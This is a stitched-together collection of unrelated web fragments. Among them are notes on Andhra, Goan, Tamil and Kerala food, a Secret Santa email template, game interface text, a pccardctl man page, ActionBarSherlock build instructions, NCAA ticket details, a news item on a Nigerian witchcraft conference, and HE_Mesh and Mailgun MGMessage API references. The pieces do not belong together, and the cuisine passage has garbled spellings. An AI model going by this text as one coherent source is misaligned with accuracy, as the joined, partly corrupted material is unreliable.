While Andhra cuisine (barring Hyderabadi fare) is predominantly vegetarian, the people of the coast do eat fish and prawns cooked in sesame or coconut. Rice toddy is the locally brewed alcoholic drink.
Goan cuisine is the end result of the blending of local Konkani and Portuguese food styles. This culinary amalgamation and adaptation has created fiery coconut based curries and stews using pork and beef and rich cakes and pastries, as well as an interesting range of port and red and white wines.read more...
Goans famous Pork Vindaloo is the fiery local specialty, cooked in hot red chilli peppers and vinegar - it is hot and tangy. Other specialties of Goan cuisine are equally well known: Xacuti (a chicken or meat dish), Chourisso (spicy Goan sausages), Sorpotel(a pig liver dish) and Prawn Balchao. A meal should be rounded off with delicious, much relished desserts, Dodol and Bebinca. Fresh seafood is an absolute must for Goan cooking, which includes dishes of prawns, crabs, mussels and fish cooked in local styles and mouth-watering creations of lobster cooked in wine and cheese.
Feni, the local cashew fruit or coconut brew hits all the right spots. For the less adventurous, there are some local ports and red and white wines or the cool, refreshing coconut water drunk straight from the tender green coconut.
The food of Tamil Nadu is what passes for "south Indian cuisine" everywhere else in the country. Idli, dosa, vada, sambar. uppama As with all Indian food, a meal centres on a base of rice or semolina preparation. Eaten alongside is the sambar, sour hot dal souped-up with vegetables. The Brahmins are vegetarian, but others consume sour-hot fish, mutton and chicken with gusto. read more...
Of the Tamilian cuisines it is Chettinad food that is on the ascendance on the popularity charts. The cuisine belongs to the money-lending community of Chettiars who were originally from the deep south of the state but whose trade links took them far and wide into South East Asia. The wealth of the community is reflected/in its food, which is liberal in its use of oils, meats and spices. Of course they cook the usuai chicken and fish, but they also have dishes for such exotica as Japanese quail. They do a variety of vegetarian dishes. The basic terms are varuval, poriyal and kuzambu. A varuval is a dry preparation where meats or vegetables are lightly fried with onions and spices, the poriyal is a rich hot curry, and kuzambu is a stew of meat or vegetables in spiced up coconut milk.
The drink of choice through the state is coffee. Grown in the plantations in the Nilgiri Hills, the coffee is brewed with great care and filtered such that it is guaranteed to deliver the days caffeine fix with one flavourful punch.
Rice is the staple of the Kerala diet Various preparations form the base of the meal; curries of fish, meat and vegetable accompany it Most dishes bear the flavor of coconut, curry leaves and mustard seeds, and the tastes of coconut milk and tamarind. All communities except the Namboodiris. a community of orthodox Brahmins, consume meat. read more...
Kerala cuisine is distinguished by its regional and religious variations The food of the Malabar Coast is distinct in its use of red chillies, pepper, mutton and beef preparations and the fondness for the famed Malabari "barolha" a many-layered fried bread made from unleavened dough. The Travancore region is staunchly Hindu so beef is taboo but pork is not Rice is still the staple; but while the curries are less spicy there is a strong flavour of coconut oil The Malayali relishes sea fish, mussels, pork, beef, mutton and fowl, and these may be stewed, fried or curried.  The influence of the Middle East is unmistakable-in the richness of the meat dishes.
Puttu is a breakfast speciality made from steamed rice flour. The Kerala variation of the dosa, the Tamilian rice pancake, is called appam. The pathiri is yet another kind of bread, which may be had sweet or stuffed with meat. The most popular sweets are payasam and pradaman. Rasam, served right at the end of a meal, is light pepper water intended to help you digest your food. Kallu and patta charayam are the local liquor: the latter is a kind of arrack - extremely potent; the drink is usually accompanied with boiled eggs and hot pickles, which go some way in taking the edge off the drink Culinary specialities include banana, yam and jackfruit chips, aw a., a vegetable curry flavoured with fresh coconut, green chilis and curd, injipuli , a tamarind and ginger sauce, as well as the hot but very delicious Malabari prewn and chicken curries.


Janet here!
Hi {}, Tis the season! Your secret santa person for this year is {}!
If this doesn't look correct, please reply to this email letting me know and we'll repick names.
Love, Janet


Kayla Dunphe
About
Portfolio
Contact
Portfolio
Code Refactor Project
Graphic Design - Coming Soon!
Photography - Coming Soon!
Website Development - Coming Soon!
Branding - Coming Soon!


This is a two-player game - the game will start when somebody else joins...
Oh no!
All the people on the planetoid are dead now :(
Congratulations!
 Basically you lose :(
INCOMING ALERT
The planetoid is under attack!

Enter your name and click "start game"
Controls
LEFT arrow key - rotate left
RIGHT arrow key - rotate right
UP arrow key - forward thrust
DOWN arrow key - reverse thrust
SPACE - fire missile


Word: Cow
Word: Cow
Word: Eagle
Word: Eagle
Word: Bear
Word: Bear
Picture: Cow 1
Picture: Cow 2
Picture: Eagle 1
Picture: Eagle 2
Picture: Bear 1
Picture: Bear 2


PCCARDCTL
Section: Maintenance Commands (8)Updated: 2005/10/22
Index Return to Main Contents
NAME
pccardctl - PCMCIA card control utilitylspcmcia - display extended PCMCIA debugging information
SYNOPSIS
pccardctl [-V] [-v ...] command [socket]lspcmcia [-V] [-v ...] [socket]
DESCRIPTION
pccardctl is used to monitor and control the state of PCMCIA sockets. If a socket number is specified, the command will be applied to just one socket; otherwise, all sockets will be affected.If pccardctl is executed by root, all commands are available. If it is executed by an unpriviledged user, only the informational commands are accessible.
lspcmcia is an alias for pccardctl ls, provided for convenience.
COMMANDS
- status
- Display the current socket status flags.
- config
- Display the socket configuration, including power settings, interrupt and I/O window settings, and configuration registers. --not yet implemented
- ident
- Display card identification information, including product identification strings, manufacturer ID codes, and function ID codes. Not yet implemented for cardbus cards. Use lspci instead.
- info
- Much like the ident command, but its output is formatted as a series of Bourne-stype shell variable definitions for use in scripts. Not yet implemented for cardbus cards.
- ls
- Display extended debugging information about the PCMCIA sockets and devices present in the system.
- suspend
- Shut down and then disable power for a socket.
- resume
- Restore power to a socket, and re-configure for use.
- eject
-
- Notify all client drivers that this card will be ejected, then cut power to the socket.
- insert
-
Notify all client drivers that this card has just been inserted.
OPTIONS
- -V
- Show version information and exit.
- -v
-
Increase the verbosity of the
ls
command.
Giving this option twice increases verbosity further.
AUTHOR
Daniel Ritz -<EMAIL_ADDRESS>upon the original cardctl man page by
David Hinds -<EMAIL_ADDRESS>Index
This document was created by man2html, using the manual pages.
Time: 05:34:28 GMT, December 24, 2015


--- title: Development layout: default ---
The ActionBarSherlock library along with its plugins and sample
applications are all built using Apache Maven. Maven will automate
the process of compiling and assembling the
apklib
,
jar
s, and
apk
s for each module.
Using Maven is NOT a requirement for contributing to development. It is merely used for automated testing and releasing of the libary and its sample applications.
Maven compilation requires that you have the
ANDROID_HOME
environment variable defined as the path to your Android SDK
directory.
For example, the following line is in my
~/.bash_profile
which sets this variable:
export ANDROID_HOME=/home/jake/vendor/android_sdk/
Once the prerequisites have been successfully installed, building is
as easy as running
mvn clean package
. The
apklib
for the library will be located in the
actionbarsherlock/target/
folder.
You can find a
jar
for each plugin in its respective
target/
folder. The
apk
s for each of the samples are their respective
target/
folders as well.
Even though the project uses Maven, each folder within the repository still maintains the standard Android project layout. By specifying the desired folder as an existing source for a new Android project, you should be able to successfully import the sources.
The library should be created as a project first. Any plugins and/or sample applications you also wish to create projects for can then be created.
If your IDE supports Maven you can point it at the parent
pom.xml
file in the root of the repository which will load all of the modules
automatically.
Since a large portion of the source code is ported from the Android Open Source Project its conventions are followed in ActionBarSherlock. Detailed information can be found on the AOSP Code Guidelines page.
The source code repository is hosted on GitHub at JakeWharton/ActionBarSherlock.
The GitHub project is also the location of the issue tracker as well as the source code to this website.


Xavier has earned a No. 11 Seed in the 2017 NCAA Tournament and will face No. 6 seeded Maryland (24-8) in Orlando, Fla. on Thursday, March 16 at 6:50 p.m. at Amway Center.
$66 per ticket, upper level
Limit 2 per person.
Tickets are for Thursday's evening session only in Xavier's group block. Should Xavier advance, you are also required to buy the same number of tickets for Saturday's session in Orlando. Those tickets will be the same price. However, if Xavier loses on Thursday, you will not be charged and will not receive any future tickets.
Purchase by calling the Xavier Athletics Ticket Office at<PHONE_NUMBER> x7 beginning at 9 a.m. today, Tuesday, March 14.
FERG'S SPORTS BAR & GRILL
78 W Church St
Orlando, FL 32801
407-367-2952
FergsSportsBar.com
PRE-GAME EVENTS
Thursday, March 16
Time: 4:30 PM – 6:30 PM
Food and drink available for purchase.
Saturday, March 18 (if Xavier advances)
2 hours prior to Saturday session games.
Food and drink available for purchase.
Plenty of downtown Orlando parking garages and the Sports Bar is within walking distance to Amway Center. RSVP not needed. Come early and ready to cheer on the Musketeers! Appearances by the Xavier Pep Band and Cheerleaders.
Visit GoXavier.com/Postseason for the most up to date information.


In this project, we're going to use a collection of GIFS to make a sentence.
1) Go to giphy.com and search for a GIF. When you find one you like, right-click it and select "Copy Image Address."
2) From the Media Elements menu, drag an image into the page and paste your link into it.
3) From the Layout menu, drag "arrange sub-elements" into the page to center everything.
4) Continue adding GIFS until your web page is complete.


Latest News
New
New games Available!!!!
New
New
New
New
Recent Games
New
Racing
Adventure
Tournaments
Premium Tournament
Starcraft 2
June 20, 2019
July 01, 2019
10 teams
Admin
Premium Tournament
World Of Warcraft
June 20, 2019
July 01, 2019
10 teams
Admin
Recent Reviews
Assasin's Creed
Nothing is true; everything is permitted
Doom
Don't Leave That Plasma Cutter Running.
Overwatch
I can bench more than you!
GTA
I'm Cranked Out On Speed Most Of The Time, But I Am Productivity Personified.

Latest Posts
June 21, 2019
Lorem ipsum dolor sit amet, consectectur adipiscing.
By: AdminJune 21, 2019
Lorem ipsum dolor sit amet, consectectur adipiscing.
By: AdminJune 21, 2019
Lorem ipsum dolor sit amet, consectectur adipiscing.
By: AdminTop Comments
on Lorem ipsum dolor sit amet consectectur.
June 21, 2019
on Lorem ipsum dolor sit amet consectectur.
June 21, 2019
on Lorem ipsum dolor sit amet consectectur.
James Smith on Lorem ipsum dolor sit amet consectectur.
June 21, 2019


PFN declares two-day prayer against UNN conference on witchcraft
by Chinedu AsaduThe Pentecostal Fellowship of Nigeria has declared a two-day “prayer of warfare” against the conference on witchcraft being organised by the University of Nigeria, Nsukka (UNN).
In a statement on Sunday, Godwin Madu, chairman of PFN in Enugu, also called for the cancellation of the conference which he described as “sponsoring evil”.
TheCable reported that the event being organised by the B.I.C Ijomah Centre for Policy and Research in UNN, will take place between November 26 and November 27.
But Madu said it does not “give God glory,” asking Christians to pray against it.
“We cannot fold our arms and watch our future dragged into what will not give God glory,” he said in the statement.
“To this end, the Church in Enugu has declared a two-day prayer of warfare. We must not allow this at a time like this, as we have had enough of ungodly activities in the country already. The Church should pray against those sponsoring evil in the state.”
He said Enugu state is “in the hands of God,” adding: “We will not hand it over to witches.”
“So, all Christians should, without further delay, call on the God of Abraham, Isaac, Jacob and the awesome God of David to fight for his name,” he said.
TheCable also reported that some students of the university rejected the conference through online campaigns and protest posters.
But the organisers told TheCable the event is a mere academic exercise “to interrogate the various things people think is witchcraft,” and not a “gathering of witches” as is being alleged.


--- meta-title: Sample pages title: Sample pages description: A range of ways you can make use of the EBI styles and framework. cta: Call to action hero-class: hero-building-blocks hero: true filter-nav: false filter-dropdowns: false layout: static pagetype: meta-pattern location: sample-pages.html --- {{#markdown}} This content has moved here
See also: Page structure
{{/markdown}}


Package org.uma.jmetal.problem.multiobjective.lz09
-
Class Summary Class Description LZ09 Base class to implement the problem of the lz09 benchmark, which is defined in: H.LZ09F1 Class representing problem LZ09F1LZ09F2 Class representing problem LZ09F2LZ09F3 Class representing problem LZ09F3LZ09F4 Class representing problem LZ09F4LZ09F5 Class representing problem LZ09F5LZ09F6 Class representing problem LZ09F6LZ09F7 Class representing problem LZ09F7LZ09F8 Class representing problem LZ09F8LZ09F9 Class representing problem LZ09F9


Do you know of another useful items? fork it and send pull request, or Make a request and we'll add it to the list.


Testing MetaComponent, MetaShadowComponent and MetaContainer classes
MetaComponent:
Select State:
{ initial state }
{ second state }
{ third state }
MetaShadowComponent:
Select State:
{ initial state }
{ second state }
{ third state }


This is the location for an old version of s-ng-utils. The library is now published under the name @s-libs/ng-core.
s-ng-utils
@s-libs/ng-core
It moved to a new repo here, with API docs here.


There has long been confusion among the legal community as to the application of California Rules of Court 3.1320(j) and California Code of Civil Procedure (“CCP”) § 471.5(a) as they relate to the time a defendant has to respond to a complaint following the courts decision to sustain its demurrer.
California Rules of Court 3.1320(j) states: Unless otherwise ordered, defendant has 10 days to answer or otherwise plead to the complaint or the remaining causes of action following:
- The overruling of the demurrer;
- The expiration of the time to amend if the demurrer was...
SOCIAL


|
HE_Mesh
6.0.1
|
Collection of mesh elements. Contains methods to manipulate the data structures.
| void wblut.hemesh.HE_HalfedgeStructure.add | ( | HE_Element | el | ) |
| void wblut.hemesh.HE_HalfedgeStructure.add | ( | HE_Face | f | ) |
Add face.
| f | face to add |
| void wblut.hemesh.HE_HalfedgeStructure.add | ( | HE_Halfedge | he | ) |
Adds halfedge.
| he | halfedge to add |
| void wblut.hemesh.HE_HalfedgeStructure.add | ( | HE_Mesh | mesh | ) |
Add all mesh elements to this mesh. No copies are made.
| mesh | mesh to add |
| void wblut.hemesh.HE_HalfedgeStructure.add | ( | HE_Vertex | v | ) |
Add vertex.
| v | vertex to add |
| void wblut.hemesh.HE_HalfedgeStructure.addFaces | ( | Collection<?extends HE_Face > | faces | ) |
Adds faces.
| faces | faces to add as Collection<? extends HE_Face> |
| void wblut.hemesh.HE_HalfedgeStructure.addFaces | ( | HE_Face[] | faces | ) |
Adds faces.
| faces | faces to add as HE_Face[] |
| void wblut.hemesh.HE_HalfedgeStructure.addFaces | ( | HE_HalfedgeStructure | source | ) |
| source |
| void wblut.hemesh.HE_HalfedgeStructure.addHalfedges | ( | Collection<?extends HE_Halfedge > | halfedges | ) |
Adds halfedges.
| halfedges | halfedges to add as Collection<? extends HE_Halfedge> |
| void wblut.hemesh.HE_HalfedgeStructure.addHalfedges | ( | HE_Halfedge[] | halfedges | ) |
Adds halfedges.
| halfedges | halfedges to add as HE_Halfedge[] |
| void wblut.hemesh.HE_HalfedgeStructure.addHalfedges | ( | HE_HalfedgeStructure | source | ) |
| source |
| void wblut.hemesh.HE_HalfedgeStructure.addVertices | ( | Collection<?extends HE_Vertex > | vertices | ) |
Adds vertices.
| vertices | vertices to add as Collection<? extends HE_Vertex> |
| void wblut.hemesh.HE_HalfedgeStructure.addVertices | ( | HE_HalfedgeStructure | source | ) |
| source |
| void wblut.hemesh.HE_HalfedgeStructure.addVertices | ( | HE_Vertex[] | vertices | ) |
Adds vertices.
| vertices | vertices to add as HE_Vertex[] |
| void wblut.hemesh.HE_HalfedgeStructure.clear | ( | ) |
Clear entire structure.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| void wblut.hemesh.HE_HalfedgeStructure.clearEdges | ( | ) |
Clear edges.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| void wblut.hemesh.HE_HalfedgeStructure.clearFaces | ( | ) |
Clear faces.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| void wblut.hemesh.HE_HalfedgeStructure.clearHalfedges | ( | ) |
Clear halfedges.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| void wblut.hemesh.HE_HalfedgeStructure.clearVertices | ( | ) |
Clear vertices.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| boolean wblut.hemesh.HE_HalfedgeStructure.contains | ( | HE_Element | el | ) |
| boolean wblut.hemesh.HE_HalfedgeStructure.contains | ( | HE_Face | f | ) |
| f |
| boolean wblut.hemesh.HE_HalfedgeStructure.contains | ( | HE_Halfedge | he | ) |
| he |
| boolean wblut.hemesh.HE_HalfedgeStructure.contains | ( | HE_Vertex | v | ) |
| v |
| boolean wblut.hemesh.HE_HalfedgeStructure.containsEdge | ( | long | key | ) |
| key |
| boolean wblut.hemesh.HE_HalfedgeStructure.containsFace | ( | long | key | ) |
| key |
| boolean wblut.hemesh.HE_HalfedgeStructure.containsHalfedge | ( | long | key | ) |
| key |
| boolean wblut.hemesh.HE_HalfedgeStructure.containsVertex | ( | long | key | ) |
| key |
| Iterator<HE_Halfedge> wblut.hemesh.HE_HalfedgeStructure.eItr | ( | ) |
Edge iterator.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| Iterator<HE_Face> wblut.hemesh.HE_HalfedgeStructure.fItr | ( | ) |
Face iterator.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| WB_AABB wblut.hemesh.HE_HalfedgeStructure.getAABB | ( | ) |
Get axis-aligned bounding box surrounding mesh.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| WB_Sphere wblut.hemesh.HE_HalfedgeStructure.getBoundingSphere | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| List<HE_Halfedge> wblut.hemesh.HE_HalfedgeStructure.getEdges | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Halfedge [] wblut.hemesh.HE_HalfedgeStructure.getEdgesAsArray | ( | ) |
Edges as array.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Halfedge wblut.hemesh.HE_HalfedgeStructure.getEdgeWithIndex | ( | int | i | ) |
Get edge with index. Indices of mesh elements are not fixed and will change when the mesh is modified.
| i | edge index |
| HE_Halfedge wblut.hemesh.HE_HalfedgeStructure.getEdgeWithKey | ( | long | key | ) |
| key |
| List<HE_Face> wblut.hemesh.HE_HalfedgeStructure.getFaces | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Face [] wblut.hemesh.HE_HalfedgeStructure.getFacesAsArray | ( | ) |
Faces as array.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Face wblut.hemesh.HE_HalfedgeStructure.getFaceWithIndex | ( | int | i | ) |
Get face with index. Indices of mesh elements are not fixed and will change when the mesh is modified.
| i | face index |
| HE_Face wblut.hemesh.HE_HalfedgeStructure.getFaceWithKey | ( | long | key | ) |
| key |
| List<HE_Halfedge> wblut.hemesh.HE_HalfedgeStructure.getHalfedges | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Halfedge [] wblut.hemesh.HE_HalfedgeStructure.getHalfedgesAsArray | ( | ) |
Halfedges as array.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Halfedge wblut.hemesh.HE_HalfedgeStructure.getHalfedgeWithIndex | ( | int | i | ) |
Get halfedge with index. Indices of mesh elements are not fixed and will change when the mesh is modified.
| i | halfedge index |
| HE_Halfedge wblut.hemesh.HE_HalfedgeStructure.getHalfedgeWithKey | ( | long | key | ) |
| key |
| int wblut.hemesh.HE_HalfedgeStructure.getIndex | ( | HE_Face | f | ) |
| f |
| int wblut.hemesh.HE_HalfedgeStructure.getIndex | ( | HE_Halfedge | edge | ) |
| edge |
| int wblut.hemesh.HE_HalfedgeStructure.getIndex | ( | HE_Vertex | v | ) |
| v |
| double [] wblut.hemesh.HE_HalfedgeStructure.getLimits | ( | ) |
Get range of vertex coordinates.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| String wblut.hemesh.HE_HalfedgeStructure.getName | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| int wblut.hemesh.HE_HalfedgeStructure.getNumberOfEdges | ( | ) |
Number of edges.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| int wblut.hemesh.HE_HalfedgeStructure.getNumberOfFaces | ( | ) |
Number of faces.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| int wblut.hemesh.HE_HalfedgeStructure.getNumberOfHalfedges | ( | ) |
Number of halfedges.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| int wblut.hemesh.HE_HalfedgeStructure.getNumberOfVertices | ( | ) |
Number of vertices.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Vertex wblut.hemesh.HE_HalfedgeStructure.getVertexWithIndex | ( | int | i | ) |
Get vertex with index. Indices of mesh elements are not fixed and will change when the mesh is modified.
| i | vertex index |
| HE_Vertex wblut.hemesh.HE_HalfedgeStructure.getVertexWithKey | ( | long | key | ) |
| key |
| List<HE_Vertex> wblut.hemesh.HE_HalfedgeStructure.getVertices | ( | ) |
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Vertex [] wblut.hemesh.HE_HalfedgeStructure.getVerticesAsArray | ( | ) |
Vertices as array.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_HalfedgeIterator wblut.hemesh.HE_HalfedgeStructure.heItr | ( | ) |
Halfedge iterator.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.
| HE_Mesh wblut.hemesh.HE_HalfedgeStructure.modify | ( | HEM_Modifier | modifier | ) |
Modify the mesh.
| modifier | HE_Modifier to apply |
| void wblut.hemesh.HE_HalfedgeStructure.remove | ( | HE_Face | f | ) |
Removes face.
| f | face to remove |
| void wblut.hemesh.HE_HalfedgeStructure.remove | ( | HE_Halfedge | he | ) |
Removes halfedge.
| he | halfedge to remove |
| void wblut.hemesh.HE_HalfedgeStructure.remove | ( | HE_Vertex | v | ) |
Removes vertex.
| v | vertex to remove |
| void wblut.hemesh.HE_HalfedgeStructure.removeEdges | ( | Collection<?extends HE_Halfedge > | edges | ) |
Removes edges.
| edges | edges to remove as Collection<? extends HE_Halfedge> |
| void wblut.hemesh.HE_HalfedgeStructure.removeEdges | ( | HE_Halfedge[] | edges | ) |
Removes edges.
| edges | edges to remove as HE_Halfedge[] |
| void wblut.hemesh.HE_HalfedgeStructure.removeFaces | ( | Collection<?extends HE_Face > | faces | ) |
Removes faces.
| faces | faces to remove as Collection<? extends HE_Face> |
| void wblut.hemesh.HE_HalfedgeStructure.removeFaces | ( | HE_Face[] | faces | ) |
Removes faces.
| faces | faces to remove as HE_Face[] |
| void wblut.hemesh.HE_HalfedgeStructure.removeHalfedges | ( | Collection<?extends HE_Halfedge > | halfedges | ) |
Removes halfedges.
| halfedges | halfedges to remove as Collection<? extends HE_Halfedge> |
| void wblut.hemesh.HE_HalfedgeStructure.removeHalfedges | ( | HE_Halfedge[] | halfedges | ) |
Removes halfedges.
| halfedges | halfedges to remove as HE_Halfedge[] |
| void wblut.hemesh.HE_HalfedgeStructure.removeVertices | ( | Collection<?extends HE_Vertex > | vertices | ) |
Removes vertices.
| vertices | vertices to remove as Collection<? extends HE_Vertex> |
| void wblut.hemesh.HE_HalfedgeStructure.removeVertices | ( | HE_Vertex[] | vertices | ) |
Removes vertices.
| vertices | vertices to remove as HE_Vertex[] |
| void wblut.hemesh.HE_HalfedgeStructure.setName | ( | String | name | ) |
| HE_Mesh wblut.hemesh.HE_HalfedgeStructure.simplify | ( | HES_Simplifier | simplifier | ) |
Simplify.
| simplifier | the simplifier |
| HE_Mesh wblut.hemesh.HE_HalfedgeStructure.subdivide | ( | HES_Subdividor | subdividor | ) |
Subdivide the mesh.
| subdividor | HE_Subdividor to apply |
| HE_Mesh wblut.hemesh.HE_HalfedgeStructure.subdivide | ( | HES_Subdividor | subdividor, |
| int | rep | ||
| ) |
Subdivide the mesh a number of times.
| subdividor | HE_Subdividor to apply |
| rep | subdivision iterations. WARNING: higher values will lead to unmanageable number of faces. |
| Iterator<HE_Vertex> wblut.hemesh.HE_HalfedgeStructure.vItr | ( | ) |
Vertex iterator.
Implemented in wblut.hemesh.HE_Mesh, and wblut.hemesh.HE_Selection.


{% extends "base.html" %} {% block body %}
The Computational Cognitive Science lab at UC Berkeley is is looking for online participants for a brief psychology experiment. The only requirements are that you are at least 18 years old and are a fluent English speaker. The experiment will take 1 to 3 minutes and will pay $0.25. In the experiment, you will complete one or more short tasks, which might include identifying an object, remembering a story, or rating whether a sentence is grammatical.
Click "Accept HIT" on the Mechanical Turk site to begin the task.
{% endblock %}


If the download does not start automatically, please download manually by clicking one of the links below:
Main Site
BrotherSoft.com
Softpedia.com
SoftForAll.com
Thanks for downloading Summon the Screensaver, developed by Jerry Lam @Blueboy.


Please enter the password for the wallet.
{{ 'PAGES.HOME.IMPORT-KEY-SECRET' | translate }}
Please select the account you want to sign the message with. Then enter the message to sign and the wallet password. Using the generated Public Key and Signature your signed message can be verified.
Please enter the message, public key and signature you want to verify.


MGMessage Class Reference
| Inherits from | NSObject |
| Declared in | MGMessage.h |
Tasks
Managing Message Setup
-
from
Email address for From header
property -
to
Email address of the recipient(s). Example: “Bob<EMAIL_ADDRESS>property -
cc
Email address of the CC recipient(s). Example: “Bob<EMAIL_ADDRESS>property -
bcc
Email address of the BCC recipient(s). Example: “Bob<EMAIL_ADDRESS>property -
subject
Message subject
property -
text
Body of the message, text version
property -
html
Body of the message. HTML version
property
Mailgun Message Configuration
-
campaign
ID of the campaign the message belongs to. See Campaign Analytics for details.
property -
tags
An
propertyNSArray
of tag strings. See Tagging for more information. -
headers
propertyNSMutableDictionary
of custom MIME headers to the message. For example,Reply-To
to specify a Reply-To address. -
variables
propertyNSMutableDictionary
for attaching custom JSON data to the message. See Attaching Data to Messages for more information. -
attachments
propertyNSMutableDictionary
of attachments to the message. -
inlineAttachments
propertyNSMutableDictionary
of inline message attachments. -
dkim
Enables/disables DKIM signatures on per-message basis.
property -
testing
Enables sending in test mode. See Sending in Test Mode
property -
tracking
Toggles tracking on a per-message basis, see Tracking Messages for details.
property -
trackOpens
Toggles opens tracking on a per-message basis. Has higher priority than domain-level setting.
property -
deliverAt
An
propertyNSDate
representing the desired time of delivery. -
trackClicks
Toggles clicks tracking on a per-message basis. Has higher priority than domain-level setting.
property
Creating and Initializing a Mailgun Message
-
+ messageFrom:to:subject:body:
Creates and initializes a message with the provided details.
-
– initWithFrom:to:subject:body:
The designated initializer to create a message with the provided details.
-
– dictionary
Adding Message Metadata
-
– addTag:
Adds a single tag to this recevier’s metadata.
-
– addTags:
-
– addHeader:value:
Adds a header and value to the receiver’s metadata.
-
– addVariable:value:
Adds a variable and a value to the receiver.
Adding Additional Recipients
-
– addRecipient:
Adds an additional recipient to the receiver.
-
– addCc:
Adds a CC recipient to the receiver.
-
– addBcc:
Adds a BCC recipient to the receiver.
Adding Attachments
-
– addAttachment:withName:type:
Adds an attachment to the receiver.
-
– addImage:withName:type:
Adds a
UIImage
as an attachment to the receiver. -
– addImage:withName:type:inline:
Adds a
UIImage
as an attachment to the receiver but inline in the message body.
Properties
attachments
NSMutableDictionary
of attachments to the message.
@property (nonatomic, strong, readonly) NSMutableDictionary *attachments
Declared In
MGMessage.h
bcc
Email address of the BCC recipient(s). Example: “Bob<EMAIL_ADDRESS>@property (nonatomic, strong) NSArray *bcc
Declared In
MGMessage.h
campaign
ID of the campaign the message belongs to. See Campaign Analytics for details.
@property (nonatomic, strong) NSString *campaign
Declared In
MGMessage.h
cc
Email address of the CC recipient(s). Example: “Bob<EMAIL_ADDRESS>@property (nonatomic, strong) NSArray *cc
Declared In
MGMessage.h
deliverAt
An NSDate
representing the desired time of delivery.
@property (nonatomic, strong) NSDate *deliverAt
Declared In
MGMessage.h
dkim
Enables/disables DKIM signatures on per-message basis.
@property (nonatomic) BOOL *dkim
Declared In
MGMessage.h
from
Email address for From header
@property (nonatomic, strong) NSString *from
Declared In
MGMessage.h
headers
NSMutableDictionary
of custom MIME headers to the message. For example, Reply-To
to specify a Reply-To address.
@property (nonatomic, strong, readonly) NSMutableDictionary *headers
Declared In
MGMessage.h
html
Body of the message. HTML version
@property (nonatomic, strong) NSString *html
Declared In
MGMessage.h
inlineAttachments
NSMutableDictionary
of inline message attachments.
@property (nonatomic, strong, readonly) NSMutableDictionary *inlineAttachments
Declared In
MGMessage.h
tags
An NSArray
of tag strings. See Tagging for more information.
@property (nonatomic, strong, readonly) NSArray *tags
Declared In
MGMessage.h
testing
Enables sending in test mode. See Sending in Test Mode
@property (nonatomic) BOOL *testing
Declared In
MGMessage.h
text
Body of the message, text version
@property (nonatomic, strong) NSString *text
Declared In
MGMessage.h
to
Email address of the recipient(s). Example: “Bob<EMAIL_ADDRESS>@property (nonatomic, strong) NSArray *to
Declared In
MGMessage.h
trackClicks
Toggles clicks tracking on a per-message basis. Has higher priority than domain-level setting.
@property (nonatomic) ClickTrackingType trackClicks
Declared In
MGMessage.h
trackOpens
Toggles opens tracking on a per-message basis. Has higher priority than domain-level setting.
@property (nonatomic) BOOL *trackOpens
Declared In
MGMessage.h
tracking
Toggles tracking on a per-message basis, see Tracking Messages for details.
@property (nonatomic) BOOL *tracking
Declared In
MGMessage.h
variables
NSMutableDictionary
for attaching custom JSON data to the message. See Attaching Data to Messages for more information.
@property (nonatomic, strong, readonly) NSMutableDictionary *variables
Declared In
MGMessage.h
Class Methods
messageFrom:to:subject:body:
Creates and initializes a message with the provided details.
+ (instancetype)messageFrom:(NSString *)from to:(NSString *)to subject:(NSString *)subject body:(NSString *)body
Parameters
- from
The message sender. Must not be nil.
- to
The message recipient. Must not be nil.
- subject
The message subject. Must not be nil.
- body
The body of the message.
Declared In
MGMessage.h
Instance Methods
addAttachment:withName:type:
Adds an attachment to the receiver.
- (void)addAttachment:(NSData *)data withName:(NSString *)name type:(NSString *)type
Parameters
- name
The name used to identify this attachment in the message. Must not be nil.
- type
The MIME type used to describe the contents of
data
. Must not be nil.
Declared In
MGMessage.h
addBcc:
Adds a BCC recipient to the receiver.
- (void)addBcc:(NSString *)recipient
Declared In
MGMessage.h
addCc:
Adds a CC recipient to the receiver.
- (void)addCc:(NSString *)recipient
Declared In
MGMessage.h
addHeader:value:
Adds a header and value to the receiver’s metadata.
- (void)addHeader:(NSString *)header value:(NSString *)value
Parameters
- header
The header identifier to add. Must not be nil.
- value
The value for the identifier. Must not be nil.
Declared In
MGMessage.h
addImage:withName:type:
Adds a UIImage
as an attachment to the receiver.
- (void)addImage:(UIImage *)image withName:(NSString *)name type:(ImageAttachmentType)type
Parameters
- name
The name used to identify this image attachment in the message. Must not be nil.
- type
The
ImageAttachmentType
to identify this image as a JPEG or a PNG.
Declared In
MGMessage.h
addImage:withName:type:inline:
Adds a UIImage
as an attachment to the receiver but inline in the message body.
